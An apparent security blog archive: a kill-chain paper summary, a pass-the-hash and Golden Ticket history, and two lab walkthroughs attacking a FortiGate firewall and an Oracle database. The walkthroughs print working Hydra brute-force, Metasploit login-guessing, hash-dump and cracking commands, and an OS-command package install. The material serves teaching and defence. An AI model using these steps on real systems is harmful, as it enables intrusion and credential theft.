Category Archives: Incident Handling and Hacker Techniques

Intelligence driven Incident Response

killchainBack in March 2011, Eric Hutchins, Michael Cloppert and Dr. Rohan Amin from Lockheed Martin (US Gov defense contractor) released a paper named Intelligence Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains. This was a great contribution to the IT security community because it describes a novel way to deal with intrusions. They claim that current tools and models that deal with intrusions need to evolve mainly due to two things. First network defense tools focus on the vulnerability component of the risk instead of the threat. Second the traditional way of doing incident response happens after a successful intrusion.  To solve this problem they propose a model that leverages an understanding about the tools and techniques used by the attackers creating intelligence that is then used to decrease the likelihood success of an intrusion.  In order to understanding the threat actors , their tools and techniques they adopted models and terms that have origins in the US military. Essentially they propose to maps the steps taken by attackers during an intrusion. These steps are then intersected with a chain of events with the goal to detect, mitigate and respond to intrusions based on the knowledge of the threat using indicators, patterns and behaviors that are conducted during the course of action of the intrusion.

To map the attackers activity the authors propose an intelligence gathering element called indicator that is divided in three types:

  • Atomic – Atomic indicators are attributes relevant in the context of the intrusion and cannot be further divided into smaller parts. Examples include IP addresses, email addresses, DNS names.
  • Computed – Computed indicators are digital representation of data pertinent to the intrusion or patterns indentified with regular expressions. Examples include hashes from malicious files,  regular expressions used on IDS.
  • Behavioral – Behavioral indicators are a combination of atomic and computed indicators trough some kind of logic that outline a summary of the attackers tools and techniques. An example is well described by Mike Cloppert: “Bad guy 1 likes to use IP addresses in West Hackistan to relay email through East Hackistan and target our sales folks with trojaned word documents that discuss our upcoming benefits enrollment, which drops backdoors that communicate to A.B.C.D.’ Here we see a combination of computed indicators (Geolocation of IP addresses, MS Word attachments determined by magic number, base64 encoded in email attachments) , behaviors (targets sales force), and atomic indicators (A.B.C.D C2)”

The phases to map the attacker activity are based on US DoD information operations doctrine with its origins in the field manual 100-6 from the Department of the Army. This systematic process evolved over the years and is also described in the Air Force Doctrine Document 2-1.9 8 June 2006 as kill chain and referred in military language as dynamic targeting process F2T2EA (Find, Fix, Track, Target, Engage, and Assess) or F3EAD (Find, Fix, Finish, Exploit, Analyze and Disseminate). The authors expanded this concept and presented a new kill chain model to deal with intrusions. The 7 phases of the cyber kill chain are:

  • Reconnaissance : Research, identification and selection of targets, often represented as crawling Internet websites such as conference proceedings and mailing lists for email addresses, social relationships, or information on specific technologies.
  •  Weaponization : Coupling a remote access trojan with an exploit into a deliverable payload, typically by means of an automated tool (weaponizer). Increasingly, client applications data files such as Adobe PDF or Microsoft Office documents serve as the weaponized deliverable.
  •  Delivery : Transmission of the weapon to the targeted environment using vectors like email attachments, websites, and USB removable media.
  •  Exploitation : After the weapon is delivered to victim host, exploitation triggers intruders’ code. Most often, exploitation targets an application or operating system vulnerability, but it could also more simple exploit the users themselves or leverage an operating system feature that auto-executes.
  •  Installation : Installation of a remote access trojan or backdoor on the victim system allows the adversary to maintain persistence inside the environment.
  •  Command and Control (C2) : Typically, compromised hosts must beacon outbound to an Internet controller server to establish a C2 channel.
  •  Actions on Objectives : Only now, after progressing through the first six phases, can intruders take actions to achieve their original objectives. Typically this objective is data exfiltration which involves collecting, encrypting and extracting information from the victim environment. Alternatively, the intruders may only desire access to the initial victim box for use as a hop point to compromise additional systems and move laterally inside the network.

Then these steps are used to produce a course of action matrix that is modeled against a system that is used, once again, in military language as offensive information operations with the aim to  detect, deny, disrupt, degrade, deceive and destroy. The goal is to create a plan that degrades the attacker ability to perform his steps and forcing him to be reactive by interfering with the chain of events. This will slow the attackers movements, disrupt their decision cycles and will increase the costs to be successful.  The following picture taken from the original paper illustrates the course of action matrix.

courseofaction

 

This model is a novel way to deal with intrusions by moving from the traditional reactive way to a more proactive system based on intelligence gathered trough indicators that are observed trough out the phases. Normally the incident response process starts after the exploit phase putting defenders in a disadvantage position. With this method defenders should be able to move their actions and analysis up to the kill chain and interfere with the attackers actions. The authors  go even further to a more strategic level by stating that intruders reuse tools and infrastructure and they can be profiled based on the indicators. By leveraging this intelligence defenders can analyze and map multiple intrusion kill chains over time and understanding commonalties and overlapping indicators. This will result in a structural way to analyze intrusions. By repeating this process one can characterize intruders activity by determine the tactics, techniques and procedures on how the attackers operate i.e., perform a campaign analysis.

References and Further reading:

Mike Cloppert series of posts on security intelligence on the SANS Forensics Blog

Lockheed Martin Cyber Kill Chain

Sean Mason from GE on Incident Response

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Hands on Training to develop cyber security skills

abstractThe demand for qualified security professionals who possess the required skills and relevant education is increasing substantially. However, the supply is not meeting the demand. The information security industry is growing in size, density and specialization. Across all businesses we need people who understand computer systems, networks and security. In order to help facilitate the growth of these information security skills hands-on training (H.O.T.) can be used to make sure that our abilities have been tested in the most realistic way possible This paper will show how to build an environment that will represent real-world security issues and their respective flaws. Topics such as incident handling, intrusion analysis, system administration, network security, forensics or penetration testing can be taught and practiced. Among other objectives, the primary goal is to grow security expertise and awareness by using a low-cost, high return and self paced hands-on training method to allow us to understand attack methods in order to create effective defenses.

This is the abstract of my paper that was just released on the SANS reading room as part of my journey to get the GIAC GCIH gold certification. I started drafting the idea of writing a paper last October.  The experience was interesting, sometimes frustrating, long but with lots of fun. Essentially, I prepared all my ideas in the lab and practiced the different scenarios I wanted to share so they could be repeatable and consistent in order to be documented. In parallel I started to write some notes, do research and find references.  Around last December I submitted the first draft to SANS. They accepted the paper and assigned an advisor to work with me.  From that moment onwards I had a deadline of 6 months. It followed a series of back and forth with the advisor. I must admit that Dr. Johannes Ulrich from SANS was very supportive, responsive and  a great mentor during the all process.  I also would like to thank to Angel Parrizas for his constructive feedback during the paper creation and thoughts on the structure, Michael Bem for his help with the opening language, Grzegorz Drozda in the beginning with his SQL kung-fu and, finally, my family that had a lot of patience to deal with the long hours of computer.

My biggest challenge was the language in terms of structure, phrasing, diction, subject-verb agreement, and tense since English is a second language for me. I believe to create a paper like this you need strong motivation, willingness, persistence and family support but it is a rewarding experience and allowed me to share my experiences, learn, reinforce my knowledge and contribute to the community. I definitely recommend this exercise to anyone who is involved in the security industry.

The paper is available here!

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The path to the Golden Ticket

goldenticketLateral movement is one of the tactics used during an attack and is normally successfully due to some kind of credential theft that has happened at some point in time during the course of the attack. In order to materialize this  tactic there is a technique called pass-the-hash that has been used for long time. This was initially discovered by Paul Aston in 1997 on Unix SAMBA but became more mainstream in 2000 when Hernan Ochoa released a paper “Modifying Windows NT Logon Credential”. This technique evolved and it became very popular in 2007 when he released the Pass the Hash toolkit. This tool brought the pass-the-hash technique  mainstream because it could be easily executed on Windows systems. In the same year, Marcus Murray from TrueSec presented another tool during TechED that could leverage this same attack technique. Soon after that Ivan Bütler from Compass Security made an interesting paper about it. Also in the same year Benjamin Delpy `gentilkiwi` a French security researcher – less know at the time – released a tool called mimikatz.

The pass the hash attack takes advantage of cached credentials stored in the system which are used to authenticate to other resources in the network. Details are well explained by Skp Duckwall and Chris Campbell on their BlackHat 2013 paper “Microsoft has a credential problem” describing the issues that Microsoft has with credentials due to single sign on solutions that are in place which also affects smartcards For convenience and to improve customer experience, Microsoft behind the scenes implements different methods that allow a user to only type its username and password once. This permits the user to login into SharePoint, network shares, read email, etc without needed to constantly provide its credentials avoiding Mark Russinovich “credential fatigue” problem.  Outcome of this convenience is that credentials are cached. Meaning that using these type of technique,  the attacker with local admin or system privileges is able to retrieve the credentials from the process memory (LSASS) in a hash representation.  There are other places in storage where the credentials could be retrieved like the SAM database in a standalone environment or from the NTDS.dit file in an Active Directory domain. Then those password representations could be reused to spread across the network and increase attacker foothold. The usage of the some of the aforementioned tools are illustrated on SANS reading room on a paper from Bashar Ewaida.

Time has passed and in 2011 Hernan Ochoa strikes again by releasing a the evolution of the pass the hash toolkit into a new tool called Windows Credential Editor (WCE) which executes on 32bits and 64bits windows systems and can dump the NTLM/LM hashes of the credentials cached in the system by injecting into LSASS process or just by reading memory. The novelty was that  this tool introduced a new technique called pass the ticket which is the equivalent to the pass the hash but applied to the Kerberos tickets instead of NTLM/LM hashes. This technique is interesting because it can escalate the privileges on the attacker without cached credentials on the machine. Instead it can request Kerberos tickets that could be used for a period of 10 hours and be injected into an attacker session.

Also in 2011, Benjamin Delpy was able to demonstrate that not only password representations could be retrieved from memory but also the clear text passwords by taking advantage on how the credential provided for digest authentication works in Windows. For example If one user tries to authenticate to a website using the digest authentication method using a web browser it sends a computed hash trough the network. However, in order to compute this hash the digest credential provider (wdigest.dll) uses 3 elements and one is the password which means it needs to be stored in memory in order to be used.  Since then Benjamim has been further developing his research and mimikatz 2.0 is the last version of the tool focusing on Windows 2008R2 and 8.1. The tool has also been incorporated into Metasploit framework and it can also work offline by reading the LSASS memory dump that you can retrieve using process dump. This method was even incorporated as a plug-in of the memory forensics tool Volatility.

But Benjamim went even further with his research and he pleased the security community with the implementation of another novel technique that uses kerberos tickets to impersonate any user in the domain and defeat the 10 hours lifespan. This technique is known as the Golden Ticket (counterfeit Kerberos ticket) and takes advantage on the way Microsoft Kerberos implementation works and how it relies on the KRBTGT account. The secret key used to sign all Kerberos TGTs is the KRBTGT hash. This technique permits creating a valid Kerberos ticket that allows impersonation of any user in the Active Directory domain. If you have some time try the tool –   “The tool is great and It can extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets”

Why can’t Microsoft patch this problem? This works as designed and relies on current trust models. If you are logged in then the system has your credentials stored in memory to be used across the different credential providers to perform actions on behalf of the user and to facilitate single sign on. However, In order to mitigate the risk of this attack scenario, Microsoft created a taskforce called Pass the Hash workgroup that was mandated to identify tools, policies, best practices that companies could use to reduce the exposure to this attack. One of the outcomes of this taskforce were ways to mitigate the exposure to this attack that include restrict and protect high privileged credentials, restrict local accounts with administrative privileges and restrict inbound traffic on the host firewall. This and other recommendations are greatly explained in more detail in the white paper  “Mitigating Pass-the-Hash (PtH) Attacks and Other Credential Theft Techniques.

Many experts believe that a well-resourced and determined adversary will usually be successfully in attacking systems, even if the target has invested in its defensive posture. In case you might have been compromised and you were able to contain the damage, here are some recommendations on how to restore the active directory service to its state before the attack. Of course everyone wants to avoid these scenarios. One defense strategy that we (defense side) have is to continually increase the costs associated to executing the attack. The National Security Agency/Central Security Service. Information. Assurance. Directorate released a paper “Reducing the Effectiveness of Pass-the-Hash” that helps mitigates the exposure to this type of attack. The Computer Emergency Response Team (CERT-EU) for the EU institutions just released a white paper “Protection from Kerberos Golden Ticket” that contains good recommendations as well.

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Simple and Practical Attack – Part 2

Following my last post, where an attacker established an entry point to the perimeter infrastructure, the following scenario describes how he might increase its foothold.

oracle

Databases are a rich pot of information which makes them strong candidates to be targeted regularly by someone with Evil intentions.  Even if databases are behind firewalls and installed in hardened operating systems it is important to mention that access is allowed from Web tiers, business applications and other specialized tools that need to connect to the database making attacks possible. In this scenario I added two Windows 2008 Standard edition servers to the network environment described in part 1. One is an  active directory domain controller and primary DNS server.  The other is a database server running the popular Oracle Enterprise Edition version 11.2.0.3. I created a database, configured Oracle Enterprise Manager and defined a listener on default port 1521.  With these components the environment was ready to perform tactics and techniques than an attacker might carry out in order to compromise a database. As result I could practice, learn and perform offensive techniques. Then, among other things I use this knowledge to create effective defenses and have some fun!

Because I am writing about databases and specially Oracle, the following brilliant individuals need to be mentioned David Litchfield, Alexander Polyakov, Alexander Kornbrust, Chris Anley, Slavik Markovich, Pete Finnigan and Paul Wright. A look at their books, articles or whitepapers for someone with interest in database security – especially in Oracle- is a must!

The steps described are the usual 5 steps that model an attack anatomy i.e., reconnaissance, scanning, exploit, keeping access and covering tracks . So, let’s start with scanning phase in order to find any open ports, which services are they offering and which operating systems are they running.

I started by launching Nmap to sweep the network and determine any open ports and services behind it.

root@linux:~# nmap -n -sV -Pn 10.0.0.0/24
Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-10 17:35 EDT
Nmap scan report for 10.0.0.100
Host is up (0.00043s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
113/tcp closed ident
Nmap scan report for 10.0.0.170
Host is up (0.00084s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
113/tcp closed ident
1521/tcp open oracle-tns Oracle TNS Listener

The scan report revealed 2 hosts . One of them has TCP port 1521 open and running Oracle TNS Listener. The Oracle TNS (Transparent Network Substrate) Listener is the interface for all communications with the Oracle database. On older version of Oracle it was possible to probe the TNS listener to find information about the database SID, version and other relevant information using tools like tnscmd10g created by Saez Scheihing. The service identified (SID) is important to discover because it is required to login. This is the first thing an attacker need to find out. To determine the SID a brute force attack can be launched. Several tools  and methods are available to do this. For convenience and simplicity I will stick with the powerful Metasploit exploit framework which contains a module called sid_brute that connects to the TNS listener in order to attempt to discover the SID. This module uses a list of well known Oracle SID’s from Alexander Kornbrust website.

msf > use auxiliary/admin/oracle/sid_brute 
msf auxiliary(sid_brute) > show options
Module options (auxiliary/admin/oracle/sid_brute):
 Name Current Setting Required Description
 ---- --------------- -------- -----------
 RHOST 10.0.0.170 yes The target address
 RPORT 1521 yes The target port
 SIDFILE /opt/metasploit/apps/pro/msf3/data/wordlists/sid.txt.
 SLEEP 1 no Sleep() amount between each request.
msf auxiliary(sid_brute) > exploit
[*] Starting brute force on 10.0.0.170, 
using sids from /opt/metasploit/apps/pro/msf3/data/wordlists/sid.txt...
[+] 10.0.0.170:1521 Found SID 'ORCL'

This was easy to find because the SID was based on well known identifier that is used on default installations of Oracle. Next, I could try to login. When you install Oracle Database 11g Release 2 (11.2) all database accounts except SYS, SYSTEM DBSNMP and SYSMAN are locked.   During the installation you are prompted to create a password for these accounts that should be at least 8 characters in length, contain at least 1 uppercase character, 1 lower case character and 1 digit. However, this is not mandatory  and passwords such as “password” can be set.  By default the accounts also contain a default profile that locks the user accounts after 10 failed login attempts for the duration of 1 day.  Besides that,  the accounts credentials are case insensitive including the passwords. So, this is the second challenge – to find username/password combination – and can be resolved by using another Metasploit module called oracle_login. This module uses a list of well known Oracle default credentials from Pete Finnigan website to discover easily guessed accounts.

msf auxiliary(sid_brute) > use auxiliary/admin/oracle/oracle_login 
msf auxiliary(oracle_login) > show options
Module options (auxiliary/admin/oracle/oracle_login):
 Name Current Setting Required Description
 ---- --------------- -------- -----------
 CSVFILE /opt/metasploit/apps/pro/msf3/data/wordlists/oracle_default_passwords.csv.
 RHOST 10.0.0.170 yes The Oracle host.
 RPORT 1521 yes The TNS port.
 SID ORCL yes The sid to authenticate with.
[*] Starting brute force on 10.0.0.170:1521...
[*] Found user/pass of: sysman/sysman on 10.0.0.170 with sid ORCL
[*] Auxiliary module execution completed

Once again, it was easy to find because the Oracle default installation contains many default user/password combinations. Is fair to write that DBA’s have higher priorities such as performance and availability and often the security is left behind resulting in weak controls. Reviewing the security posture of your databases should be done by someone who understands security.

By knowing this, I could gain access to the database using the traditional SQL*Plus client.  Next, I would run a set of queries that would allow me to get more insight about the version of the database, which accounts are part of the DBA role and get the password representation for the users – this and other queries are compiled on the Red Team Field Manual.

root@linux:~# sqlplus sysman/sysman@//10.0.0.170/orcl
SQL*Plus: Release 10.2.0.4.0 - Production on Sat May 10 19:54:41 2014
Copyright (c) 1982, 2007, Oracle. All Rights Reserved.
Connected to:
Oracle Database 11g Release 11.2.0.1.0 - Production
SQL>
SQL> select * FROM v$version;
BANNER
--------------------------------------------------------------------------------
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production
PL/SQL Release 11.2.0.1.0 - Production
CORE 11.2.0.1.0 Production
TNS for 32-bit Windows: Version 11.2.0.1.0 - Production
NLSRTL Version 11.2.0.1.0 - Production
SQL> select distinct grantee from dba_sys_privs where admin_option = 'YES';
GRANTEE
------------------------------
AQ_ADMINISTRATOR_ROLE
DBA
SCHEDULER_ADMIN
OWBSYS
APEX_030200
SYSTEM
SYS
WMSYS
SQL> select user from dual;
USER
------------------------------
SYSMAN
SQL> select name,password,astatus from sys.user$;
NAME PASSWORD ASTATUS
------------------------------ ------------------------------ ----------
SYS 92F9365E5CAB72B0 0
SYSTEM 2C7B1C1AEF52E670 4
SYSMAN 447B729161192C24 0
93 rows selected.

New versions of Oracle keep the password representation in SHA-1 algorithm but in this case the traditional method is still enforced which uses a DES encryption algorithm without real salt and can be brute forced in a timely manner.  So, with valid credentials and their respective hashes I could attempt to crack them in order to gain DBA access. Next, I launched an offline dictionary attack against the hashes using John the Ripper – An old timer, extremely flexible and powerful password cracking tool written by Alexander Peslyak (Solar Designer). The hashes need to be in a format that JtR understands it as being oracle hashes.

root@linux:~# cat oracle.hash 
O$SYS#92F9365E5CAB72B0
O$SYSTEM#2C7B1C1AEF52E670
root@linux:~# john oracle.hash --wordlist=/usr/share/wordlists/fasttrack.txt
Loaded 2 password hashes with 2 different salts (Oracle 10 DES [32/32])
JACKP0T! (?)
JACKP0T! (?)
guesses: 2 time: 0:00:00:00 DONE (Sun May 25 13:39:25 2014) c/s: 25.00 trying: JACKP0T!
Use the "--show" option to display all of the cracked passwords reliably

With this the database its data is fully owned by the attacker!

root@linux:~# sqlplus sys/'Jackp0t!@//10.0.0.170/orcl as sysdba

SQL*Plus: Release 10.2.0.4.0 – Production on Sat May 10 19:54:41 2014 Copyright (c) 1982, 2007, Oracle. All Rights Reserved. Connected to: Oracle Database 11g Release 11.2.0.1.0 – Production SQL>

The attacker could now fully access to the database contents. This contents could be any kind of intellectual property or personal identifiable information that an attacker would attempt to steal. This is potentially the his end goal.

However, following this I could weaponize the access to interact with the operating system and further continue my exploit actions. To interact with the database there are different methods that are great explained in the books and articles from the mentioned researchers. Some of them are based on procedural programming language known as PL/SQL. Packages like  UTL_FILE for File access and DBMS_SCHEDULER allow to execute shell command. Others are based on Java. Carsten Czarsk created a set of PLSQL packages based on Java for Oracle which provide access to the OS shell and the file system from SQL. The packages provide operations on files  as well as the execution of shell commands.  This package to be successfully installed needs Java Virtual Machine which is embedded in the database by default. After installation in order to be able to execute the Java functions and procedures  you will need appropriate privileges. To set this privileges you need DBA rights, but as illustrated earlier gaining such privileges is not difficult. After downloading the package, unzip it and install it.

root@kali:~/tmp# unzip PLSQL_OSCOMMAND_1.0.zip
root@kali:~/tmp# cd src/11g/
root@kali:~/tmp/src/11g# sqlplus system/oracle@//10.0.0.170/ORCL
SQL*Plus: Release 10.2.0.5.0 - Production on Thu May 29 10:50:42 2014
SQL> select comp_name, version from dba_registry where comp_name like '%JAVA%';
COMP_NAME
--------------------------------------------------------------------------------
VERSION
------------------------------
JServer JAVA Virtual Machine
11.2.0.1.0

Next, by invoking the install.sql script the PL/SQL package will be installed. Following  that, appropriate Java permissions and an additional statement needed for Windows system are executed.

SQL> start "install.sql"
*************************************************
** 1. Installing Java Code ...**
*************************************************
** 2. PL/SQL Package Specs**
*************************************************
** 3. PL/SQL Package Bodys**
No errors.
SQL>
SQL> begin
-- this grants read privilege on STDIN
dbms_java.grant_permission(
grantee => 'SYSTEM',
permission_type => 'SYS:java.lang.RuntimePermission',
permission_name => 'readFileDescriptor',
permission_action => null
);
-- this grants write permission on STDOUT
dbms_java.grant_permission(
grantee => 'SYSTEM',
permission_type => 'SYS:java.lang.RuntimePermission',
permission_name => 'writeFileDescriptor',
permission_action => null
);
-- this grants execute privilege for ALL shell commands: VERY DANGEROUS!
dbms_java.grant_permission(
grantee => 'SYSTEM',
permission_type => 'SYS:java.io.FilePermission',
permission_name => '<<ALL FILES>>',
permission_action => 'execute'
);
end;
 /
PL/SQL procedure successfully completed.
Elapsed: 00:00:00.91
SQL> begin
 os_command.set_exec_in_shell;
end;
/
PL/SQL procedure successfully completed.
Elapsed: 00:00:00.24
set long 20000

 

Now, I could execute OS commands with access to STDIN, STDOUT and many other things. I started by executing the OS_COMMAND package that allows  shell commands execution from the SQL engine.  First by launching the “ver” command that outputs the version of windows the database is running on. Next, I executed a “dir” and I could see that the directory contents of the Oracle folder were shown. Many other commands can now be used in order to gain advantage and further compromise the system. I will leave the journey from getting down from the Database to the Operating system level using other tools and techniques on part 3!

 

SQL> select os_command.exec_clob('ver') from dual;
OS_COMMAND.EXEC_CLOB('VER')
--------------------------------------------------------------------------------
Microsoft Windows [Version 6.0.6001]


SQL> select os_command.exec_clob('dir') from dual;
OS_COMMAND.EXEC_CLOB('DIR')
 --------------------------------------------------------------------------------
 Volume in drive C has no label.
 Volume Serial Number is 4426-F394
 Directory of C:\app\product\11.2.0\dbhome_1\DATABASE
 05/22/2014 12:43 PM <DIR> .
 05/22/2014 12:43 PM <DIR> ..
 05/22/2014 12:38 PM <DIR> archive
 05/22/2014 12:40 PM 2,048 hc_orcl.dat
 12/22/2005 05:07 AM 31,744 oradba.exe
 05/25/2014 09:05 AM 1,536 PWDorcl.ora
 OS_COMMAND.EXEC_CLOB('DIR')
 --------------------------------------------------------------------------------
 05/25/2014 10:03 AM 2,560 SPFILEORCL.ORA
 4 File(s) 37,888 bytes
 3 Dir(s) 47,146,033,152 bytes free

 

That’s it for now! Let’s summarize the mistakes made by Ville.com so one perhaps learn from their errors and omissions.

Mistake #1 – Ville.com was using the Oracle default SID. With this knowledge an attacker could attempt to connect to the database. The SID was easily guessed using Metasploit and a dictionary attack using well known SIDs. Ville.com should consider applying a strong SID which contains the same characteristics as a strong password and not based on a dictionary word.

Mistake #2 :  A common username/password combination based on dictionary with default account lock-out settings was used. This made an dictionary based attack easy to pull off using Metasploit. Ville.com should consider applying as countermeasure to prevent such attacks a strong password or pass-phrase. Make sure is at least 12 characters long with a combination of numbers, upper and lower case letters plus special characters. Furthermore, passwords should be changed often. Other than that whenever possible leverage the possibility to authenticate database administrators using the Operating System or external systems.

Mistake #3 : Ville was not using the latest patches and security recommendations from Oracle. Patching is one of the most effective recommendations that someone should take. By using an outdated system the DBA exposed all user accounts due to an old encryption algorithm (DES) that can be easily brute forced using John the Ripper. Oracle releases Critical Patch Updates on January, April, July and October on the Tuesday closest to the 17th day of the month. By enforcing latest Oracle recommendations the passwords should have been stored on the database using strong algorithms such as SHA-1 with salt.

Mistake #4 : Ville.com was not using any kind of central logging system that would allow one to easily identify abnormal activity in the database. This allows the attacker who gained DBA privileges to tamper with the audit trails. By using a central logging system it would allow a diligent sysadmin to do log review and identify abnormal activity even in case the attacker would attempt to cover its tracks. In addition appropriate audit should be implemented at database and operating system level that would allow a normal routine check to expose the attacker.  By default Oracle databases do not audit SQL commands executed by the privileged SYS, and users connecting with SYSDBA or SYSOPER privileges which means this are going to be the attackers first choice.

Many other great recommendations on how to secure Oracle are provided directly by Oracle on their security guide and by the folks mentioned in the beginning of this article.

Even though there are plenty of books and open source information that describe the methods and techniques demonstrated, the environment was built from scratch and allows to learn or reinforce techniques.  The tools and tactics used are not new. However, they are relevant and used in today’s attacks. Likewise, one can learn, practice and look behind the scenes to better know them and the impact they have. Part III will follow with more steps and how an attacker might strengthen its position and move laterally.


		
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Simple and Practical Attack – Part 1

This weekend I got some time off and decided to build a small network environment that represented real-world security issues and their respective flaws.   I may well use this environment to perform tactics and techniques than an attacker might carry out in order to compromise a target. As result I could practice, learn and perform offensive techniques. Then, among other things I use this knowledge to create effective defenses and have some fun!

To get the environment ready I used a refurbished Fortigate 100 box running FortiOS 4.0 . I only configured the basic settings such as IP addresses, routing, admin user and basic firewall rules allowing management access from Internet. I left the remaining settings by default. The setup consisted of a single-arm DMZ. The wan port connected to the internet and the internal port connected to the internal network.  After having the network in place I needed an arsenal of tools that allowed me to perform offensive techniques. Kali Linux was my choice because this distribution brings the tools needed to execute the steps an intruder will eventually perform during an attack. This machine was positioned in the wan side of the setup.

With the environment ready I could start. The admirable Ed Skoudis describes the anatomy of an attack as a 5 step model. The steps are reconnaissance, scanning, exploit, keeping access and covering tracks .

So, let’s start with scanning phase. By knowing your target you can go directly into the scanning phase.  Here the goal is to find any open ports, which services are they offering and which operating systems are they running.

To do this I used the well known and very popular open source tool for network exploration and security auditing called Nmap created by Fyodor. This tool is so popular that was even briefly shown in movies like Elysium where it is used to port scan Matt Damon’s augmented brain before transferring the data he carries in an attempt to hack the space station. Or The Matrix Reloaded, where Trinity scanned the city power grid to find a vulnerable SSH server.

Fiction apart, I started by launching Nmap using the TCP connect technique (-sT) which performs a 3 way handshake to verify if a TCP port is opened. Skipped DNS resolution (-n) and skipped host discovery (-Pn) which is used to determine if a host is alive in order to optimize the speed when scanning large volume of IP addresses.

The output resulted in two open TCP ports. Then I used this knowledge and executed the next scan in order to determine the service behind the open ports (-sV). This scan was able to tell that the service running on TCP port 443 was a Fortgate firewall http config.

root@linux:~# nmap -n -sT -Pn admin.ville.com
Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-11 14:45 EDT
Nmap scan report for admin.ville.com
Host is up (0.00058s latency).
Not shown: 997 filtered ports
PORT    STATE SERVICE
22/tcp  open  ssh
443/tcp open  https
Nmap done: 1 IP address (1 host up) scanned in 6.26 seconds
root@linux:~# nmap -n -sV -Pn admin.ville.com -p 443
Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-11 14:45 EDT
Nmap scan report for admin.ville.com
Host is up (0.00022s latency).
PORT    STATE SERVICE  VERSION
443/tcp open  ssl/http Fortinet FortiGate 50B or FortiWifi 80C firewall http config
Service Info: Device: firewall; CPE: cpe:/h:fortinet:fortiwifi:80c
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.62 seconds

Now that I had knowledge about the end system the next step was to gain access.  Gaining access to a particular system depends on several factors including the architecture, its configuration and the level of access. In this case I had access to the management interface of the firewall so I could try to break in.

When connecting to the TCP port 443 using HTTPS, I was presented with the login page.  Here I could try to guess the default password, but FortiOS does not has a default password. By reading the vendor documentation I knew the administrator is prompted to change his password during the initial configuration. I also assumed the user name was “admin” because it is unusual to change this user. So, I only needed the password. To achieve this I used a technique to do login attempts using a list of common passwords. However, this could easily become an issue because by default when the admin user fails 3 consecutive attempts, the Fortigate will lock the account for 60s. In a small business environments where the systems are normally configured by one person who is overloaded and responsible to get the job done for the all IT systems this is likely not to be changed because there are more important things to do. Even though this slows down an attacker, it does not stop him from trying.  The other thing is that by default these small Fortigate appliances don’t log system or traffic related stuff into memory and because they do not contain a hard disk one will miss important system log related information. This is an advantage for the attacker who could slip under the radar. This could be easily corrected by a diligent sysadmin using a syslog server or a similar monitoring system.

So, next I needed to know how was the HTTP authentication mechanism constructed. In order to understand how the front-end authentication mechanism worked I accessed the URL through the lens of a proxy like Paros. In this case I used Firefox tamper plugin data which allows access to the details needed. I could see that the authentication uses an HTTP POST request with a set of parameters submitted in clear text. These were all the ingredients needed to launch an automated brute force login attempt.

tamper

Looking at my arsenal of tools I decided to use THC Hydra written by van Hauser. A great tool that can guess passwords in a very fast fashion across many different network services. This tool is more than 10 years old and version 8.0 was just released.

So, I used Hydra to perform a dictionary based attack against admin.ville.com using the https-form module.  To get a help page for this or any other modules on hydra,  one can use -U e.g., hydra https-post-form -U.

The command line might look a little cryptic in the beginning but it consists of:

  • <url>:<form parameters>:<condition string> .

Url is the /loginpage. Then the form parameters are the POST parameters captured using Firefox tamper data tool. The username and secretkey parameters have their values replaced by the “^USER^” and “^PASS^” which allows Hydra to substitute it to whatever word it would read from the dictionary. Then follows a condition string to check how a successful login will look like. In this case if an authentication request is successful the HTTP response will contain a Set-Cookie header. Then a static user is used (-l admin) following a dictionary list of words to be used as passwords (-P /usr/share/wordlists/fasttrack.txt). The other parameters are : show login and password combination (-V), exit after the first found login/password pair (-f), execute a task with 3 connections in parallel (-t 3) and wait 61s between each connection task.

A task consisting of 3 connections attempt with a pause of 61s between each task was chosen in order to avoid the account to be locked using the default Fortigate admin lock threshold settings. Of course this will be very time consuming exercise and might require weeks or months to find a password using a big wordlist.  However, in this case Hydra was able to found a password after 30m due to a common password.

root@linux:~# hydra admin.ville.com https-post-form "/logincheck:username=^USER^&secretkey=^PASS^&ajax=1:S=Set-Cookie"
-l admin -P /usr/share/wordlists/fasttrack.txt -V -f -t 3 -W 61
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2014-05-17 18:22:54
[DATA] 3 tasks, 1 server, 126 login tries (l:1/p:126), ~42 tries per task
[DATA] attacking service http-post-form on port 80
[ATTEMPT] target admin.ville.com - login "admin" - pass "P@55w0rd!" - 34 of 126 [child 0]
[ATTEMPT] target admin.ville.com - login "admin" - pass "P@ssword!" - 35 of 126 [child 2]
[ATTEMPT] target admin.ville.com - login "admin" - pass "Password!" - 36 of 126 [child 1]
[STATUS] 1.64 tries/min, 36 tries in 00:22h, 90 todo in 00:56h, 3 active
[STATUS] 1.57 tries/min, 36 tries in 00:23h, 90 todo in 00:58h, 3 active
[80][www-form] host: admin.ville.com   login: admin   password: P@55w0rd!
[STATUS] attack finished for admin.ville.com (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2014-05-17 18:46:29

Next, with access to the system I might want to continue exploiting other systems to find valuable information such as other passwords in the system which might allow me to establish foothold and strengthen my position. With access to the system I could look to see any other users which were configured in the system.

 

FG100A# get system admin
name: admin
name: JulesArgent
name: ColeGannon
name: DoubleTrouble
FG100A # show system admin admin
  set password ENC AK1VW7boNstVjM36VO5a8tvBAgUJwLjryl1E+27F+lOBAE=
FG100A # show system admin ColeGannon
   set password ENC AK1OtpiTYJpak5+mlrSoGbFUU60sYMLvCB7o/QOeLCFK28=
FG100A # show system admin DoubleTrouble
  set password ENC AK1P6IPcOA4ONEoOaNZ4xHNnonB0q16ZuAwrfzewhnY4CU=

Then, with valid credentials and their respective hashes I could attempt to crack them.. To accomplish this, I launched an offline dictionary attack followed by a brute force attack against the hashes using Hashcat - An extremely fast and powerful password cracking tool made by Atom. The command was executed to run a dictionary attack (-a 0) with the hashing algorithm type Fortinet (-m 7000) using the well known rockyou wordlist containing over 14 million passwords.

root@kali:/tmp# hashcat -a 0 -m 7000 ville.hash /usr/share/wordlists/rockyou.txt
